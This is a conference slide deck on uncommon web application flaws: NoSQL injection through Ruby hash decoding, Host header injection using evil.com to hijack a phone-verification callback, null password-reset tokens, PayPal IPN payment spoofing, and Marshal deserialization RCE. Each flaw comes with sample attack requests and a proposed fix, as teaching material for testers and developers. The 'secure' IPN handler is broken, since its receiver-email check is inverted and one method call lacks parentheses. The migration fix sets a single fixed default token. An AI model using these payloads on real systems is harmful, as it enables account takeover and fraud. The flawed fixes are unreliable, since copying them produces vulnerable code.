Slide 1

Slide 1 text

Esoteric W eb Application Vulnerabilities

Slide 2

Slide 2 text

@w3af /me ▪ Application security expert (web|API) ▪ Developer (Python!) ▪ Open Source evangelist ▪ w3af project leader ▪ Founder of Bonsai Information Security

Slide 3

Slide 3 text

Intro: SQL injection is dead I don’t care

Slide 4

Slide 4 text

@w3af ORM killed the pentest star ● All modern web development frameworks provide abstractions to interact with (no)SQL databases. Developers don’t write raw SQL queries anymore. Video killed the radio star (youtube) ● SQL injections are rare nowadays, this requires us testers to dig deeper into the application to find high risk vulnerabilities.

Slide 5

Slide 5 text

@w3af MVC, templates and default HTML encode killed XSS ● Most modern web development frameworks use a model view controller architecture, which uses templates to render the HTML shown to users. ● Templating engines, such as Jinja2, HTML encode the context data by default. ● Developers need to write more code to make the template vulnerable to Cross-Site Scripting, which leads to less vulnerabilities.

Slide 6

Slide 6 text

@w3af

Slide 7

Slide 7 text

Esoteric #1 “Aggressive Input Decoding”.to_s

Slide 8

Slide 8 text

@w3af Aggressive input decoding Ruby on Rails, Sinatra and other (ruby) web frameworks perform aggressive input decoding: http://www.phrack.org/papers/attacking_ruby_on_rails.html post '/hello' do name = params[:name] render_response 200, name POST /hello HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded name=andres POST /hello HTTP/1.1 Host: example.com Content-Type: application/json {"name": "andres"}

Slide 9

Slide 9 text

@w3af Decode to a Ruby Hash POST /hello HTTP/1.1 Host: example.com Content-Type: application/json {"name": {"foo": 1}} In all previous cases the type of the name variable was a String, but we can force it to be a Hash:

Slide 10

Slide 10 text

@w3af noSQL ODM introduction When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to: Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match. post '/registration/complete' do registration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token] }).first ... POST /registration/complete HTTP/1.1 Host: vulnerable.com Content-Type: application/x-www-form-urlencoded token=dee1303d11814cf70d21a5193030bb8e&user_id=3578

Slide 11

Slide 11 text

@w3af noSQL ODM complex queries Developers can write “complex” ODM queries using Ruby Hashes as parameters: user = Users.where({user_id: params[:user_id], country: {"$ne": "Argentina"}}).first users = Users.where({user_id: {"$in": [123, 456, 789]}})

Slide 12

Slide 12 text

@w3af Decode to Hash leads to noSQL injection It’s possible to bypass the token validation! post '/registration/complete' do registration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token] }).first ... POST /registration/complete HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"token": {"$ne": "nomatch"}, "user_id": 3578}

Slide 13

Slide 13 text

@w3af “User controlled input”.to_s Fixing this vulnerability is quick and easy: Most developers will forget to add the .to_s and it’s easy to miss in a source code review. Recommend Sinatra param or similar. get '/registration/complete' do @registration = Registration.where({ user_id: params[:user_id].to_s, confirmation_token: params[:token].to_s }).first ...

Slide 14

Slide 14 text

Esoteric #2 Host header injection

Slide 15

Slide 15 text

@w3af Call me to verify my identity #1 The application requires users to provide a cellphone to verify their identity. A phone call is initiated by the application using a service like Twilio, the call audio contains a verification code which needs to be entered into the application to verify phone ownership. HTTP request Verify my phone +1 (541) 754-3010

Slide 16

Slide 16 text

@w3af Call me to verify my identity #2 Call +1 (541) 754-3010 Send code 357896 in audio HTTP request Please call +1 (541) 754-3010 Audio for the call is available at https://vulnerable.com/audio/ HTTP request https://vulnerable.com/audio/

Slide 17

Slide 17 text

@w3af Call me to verify my identity #3 HTTP request Code is 357896 HTTP response Identity Verified

Slide 18

Slide 18 text

@w3af Bypass phone verification Hacker wants to bypass phone verification, ideas: ○ Hack user’s smartphone ○ Hack vulnerable.com ○ Create a raw cellphone tower and sniff phone call ○ Hack Twilio Hacking vulnerable.com seems to be the easiest path to follow. But… what do we need?

Slide 19

Slide 19 text

@w3af UUID4 Version 4 UUIDs use a scheme relying only on random numbers, thus the audio URLs can’t be brute forced: https://vulnerable.com/audio/f47ac10b-58cc-4372-a567-0e02b2c3d479

Slide 20

Slide 20 text

@w3af Zoom into HTTP request to Twilio HTTP request Please call +1 (541) 754-3010 Audio for the call is available at https://vulnerable.com/audio/ POST /call/new HTTP/1.1 Host: api.twilio.com Content-Type: application/json X-Authentication-Api-Key: 2bc67a5... {"phone_number": "+1 (541) 754-3010"}, "audio_callback": "https://vulnerable.com/f47ac10b-5..."}

Slide 21

Slide 21 text

@w3af Insecure Twilio API call HTTP request Please call +1 (541) 754-3010 Audio for the call is available at https://vulnerable.com/audio/ import requests def start_call(phone, callback_url): requests.post('https://api.twilio.com/call/new', data={'phone_number': phone, 'audio_callback': callback_url}) … audio_id = generate_audio(request.user_id) callback_url = 'https://%s/%s' % (request.host, audio_id) start_call(request['phone'], callback_url)

Slide 22

Slide 22 text

@w3af Change Host header to exploit HTTP request Verify my phone +1 (541) 754-3010 POST /verify-my-phone HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"phone_number": "+1 (541) 754-3010"}} POST /verify-my-phone HTTP/1.1 Host: evil.com Content-Type: application/json {"phone_number": "+1 (541) 754-3010"}}

Slide 23

Slide 23 text

@w3af Exploit results in modified callback_url HTTP request Please call +1 (541) 754-3010 Audio for the call is available at https://evil.com/audio/ HTTP request https://evil.com/audio/ HTTP request https://vulnerable.com/audio/

Slide 24

Slide 24 text

@w3af MUST-HAVE: Strict validation for Host header ▪ Make sure that your nginx, apache, and web frameworks validate the host header before any further code is run. ▪ Django has strict host header validation built in using ALLOWED_HOSTS configuration setting.

Slide 25

Slide 25 text

Esoteric #3 null, nil and NULL

Slide 26

Slide 26 text

@w3af Password reset ● Password resets are very sensitive and, in some cases, insecure. The most wanted vulnerability is to be able to reset the password for a user for which we don’t have the password reset token. ● Usually password resets are implemented as follows: ○ User starts a new password reset flow ○ An email is sent by the application containing a randomly generated token ○ The token is used to prove that the user has access to the email address and the password is reset.

Slide 27

Slide 27 text

@w3af Implementation details class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: nil end end post '/start-password-reset' do: user = Users.where({"email": params["email"]}).first token = generate_random_token() user.pwd_reset_token = token user.save! send_email(user.email, token) post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"]}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save! signin(user)

Slide 28

Slide 28 text

@w3af Token defaults to NULL in the database POST /complete-password-reset HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"token": null, "new_password": "l3tm31n"} ● Each time a new user is created his pwd_reset_token field is set to NULL in the database. ● When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"]}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save! signin(user)

Slide 29

Slide 29 text

@w3af Safe defaults and strict type validation post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"].to_s}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save! class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: generate_random_token() end end

Slide 30

Slide 30 text

Esoteric #4 Paypal double spend

Slide 31

Slide 31 text

@w3af Paypal’s Instant Payment Notification ● I love payment gateways! See my previous talk on this subject. ● Paypal uses IPN to notify a site that a new payment has been processed and further action, such as increasing the user funds in the application, should be performed. ● The developer sets the IPN URL in the merchant account settings at Paypal: https://example.com/paypal-handler

Slide 32

Slide 32 text

@w3af

Slide 33

Slide 33 text

@w3af Zoom into Paypal’s IPN HTTP request POST /paypal-handler HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded mc_gross=19.95&protection_eligibility=Eligible&address_status=confirmed&pay er_id=LPLWNMTBWMFAY&tax=0.00&address_street=1+Main+St&payment_date=20%3A12% 3A59+Jan+13%2C+2009+PST&payment_status=Completed&charset=windows-1252&addre ss_zip=95131&first_name=Test&mc_fee=0.88&address_country_code=US&address_na me=Test+User¬ify_version=2.6&custom=665588975&payer_status=verified&addr ess_country=United+States&address_city=San+Jose&quantity=1&verify_sign=AtkO fCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtf&payer_email=gpmac_1231 902590_per%40paypal.com&txn_id=61E67681CH3238416&payment_type=instant&last_ name=User&address_state=CA&receiver_email=gpmac_1231902686_biz%40paypal.com &payment_fee=0.88&receiver_id=S8XGHLYDW9T3S&txn_type=express_checkout&item_ name=&mc_currency=USD&item_number=&residence_country=US&handling_amount=0.0 0&transaction_subject=&payment_gross=19.95&shipping=0.00

Slide 34

Slide 34 text

@w3af Zoom into Paypal’s IPN HTTP request There are a few important parameters that we need to understand: ● mc_gross=19.95 is the amount paid by the user ● payment_status=Completed is the payment status ● receiver_email=gpmac_1231902686_biz%40paypal.com is the merchant’s email address ● custom=665588975 is the user’s ID at the merchant application, which is sent to Paypal when the user clicks the “Pay with Paypal” button in the merchant’s site

Slide 35

Slide 35 text

@w3af Why does the merchant verify the IPN data?

Slide 36

Slide 36 text

@w3af Insecure IPN handler import requests PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate' def handle_paypal_ipn(params): # params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email() else: return 'Error'

Slide 37

Slide 37 text

@w3af Insecure IPN handlers - No receiver email check

Slide 38

Slide 38 text

@w3af Insecure IPN handlers - No receiver email check

Slide 39

Slide 39 text

@w3af ● Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account. ● The payment is made from the attacker’s credit card to his paypal account. Money is still under his control, but the attacker will lose Paypal’s commission for each transaction. ● Many example IPN implementations in github.com are vulnerable. I wonder how many were used to create applications which are currently live in production?

Slide 40

Slide 40 text

@w3af Secure IPN handler import requests PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate' MERCHANT_PAYPAL_USER = '[email protected]' def handle_paypal_ipn(params): if params['receiver_email'] == MERCHANT_PAYPAL_USER: return 'Error' # params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email else: return 'Error'

Slide 41

Slide 41 text

@w3af Is this Paypal’s fault? ● No, but it’s design is not as secure as it could be. ● MercadoPago implemented a different communication protocol for their IPN. Their protocol is much better than Paypal’s since it doesn’t rely on the developer’s IPN handler implementation to provide security. MercadoPago sends a GET request with the purchase ID to the IPN URL, then the developer needs to perform a GET request to https://api.mercadopago.com/ in order to retrieve the transaction details. This request is authenticated, and any attempts to access transactions from other merchants is denied.

Slide 42

Slide 42 text

Esoteric #5

Slide 43

Slide 43 text

@w3af ActiveSupport::MessageVerifier Marshal RCE ● ActiveSupport::MessageVerifier uses Ruby’s Marshal to serialize arbitrary information, which is then signed using a developer provided secret. A verified message looks like: ● The message can be decoded: BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61 d668438b616 1.9.3-p551 :006 > Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==') => "\x04\bI\"\[email protected]\x06:\x06ET" 1.9.3-p551 :007 > Marshal.load(Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==')) => "[email protected]" 1.9.3-p551 :008 >

Slide 44

Slide 44 text

@w3af ActiveMessages are signed ● When the application receives the signed message, it will take the base64 encoded data and calculate HMAC SHA1 for it using using the developer controlled secret. ● The calculated signature must match the one provided with the message: ● Once the signature is verified the data is base64 decoded and Unmarshaled. BAhJIh...--8bacd5cb3e72ed7c457aae1875a61d668438b616

Slide 45

Slide 45 text

@w3af Guessable signing secret leads to RCE Ruby’s documentation clearly states that unmarshaling arbitrary data is insecure and will lead to arbitrary code execution. ActiveSupport::MessageVerifier is protected against this vulnerability by a developer controlled secret. Poorly chosen secrets allow: 1. Brute-force attack to discover the secret 2. Specially crafted gadget/object is created, serialized and encoded. 3. Secret is used to sign gadget 4. Signed message is sent to the application, where it will be unmarshalled and remote code execution is achieved

Slide 46

Slide 46 text

@w3af Secure ActiveSupport::MessageVerifier usage ● Choose randomly generated, long, secrets to sign your messages. ● Use a different serialization method: @verifier = ActiveSupport::MessageVerifier.new(long_secret, serializer: json)

Slide 47

Slide 47 text

Outro: That’s why I don’t care

Slide 48

Slide 48 text

@w3af

Slide 49

Slide 49 text

@w3af Vulnerabilities are always there ● You’re smarter than your tools. Let the automation do the grunt work and focus your time on source code review, application logic flaws, issues specific to the target application, etc. ● You’re smarter than your client. Convince them that with the source code you’ll be able to identify more vulnerabilities and provide greater ROI. ● You’re smarter (well, actually more trained in security, vulnerabilities and risks) than most developers. They will make mistakes, no matter how good they are.

Slide 50

Slide 50 text

@w3af [email protected] @w3af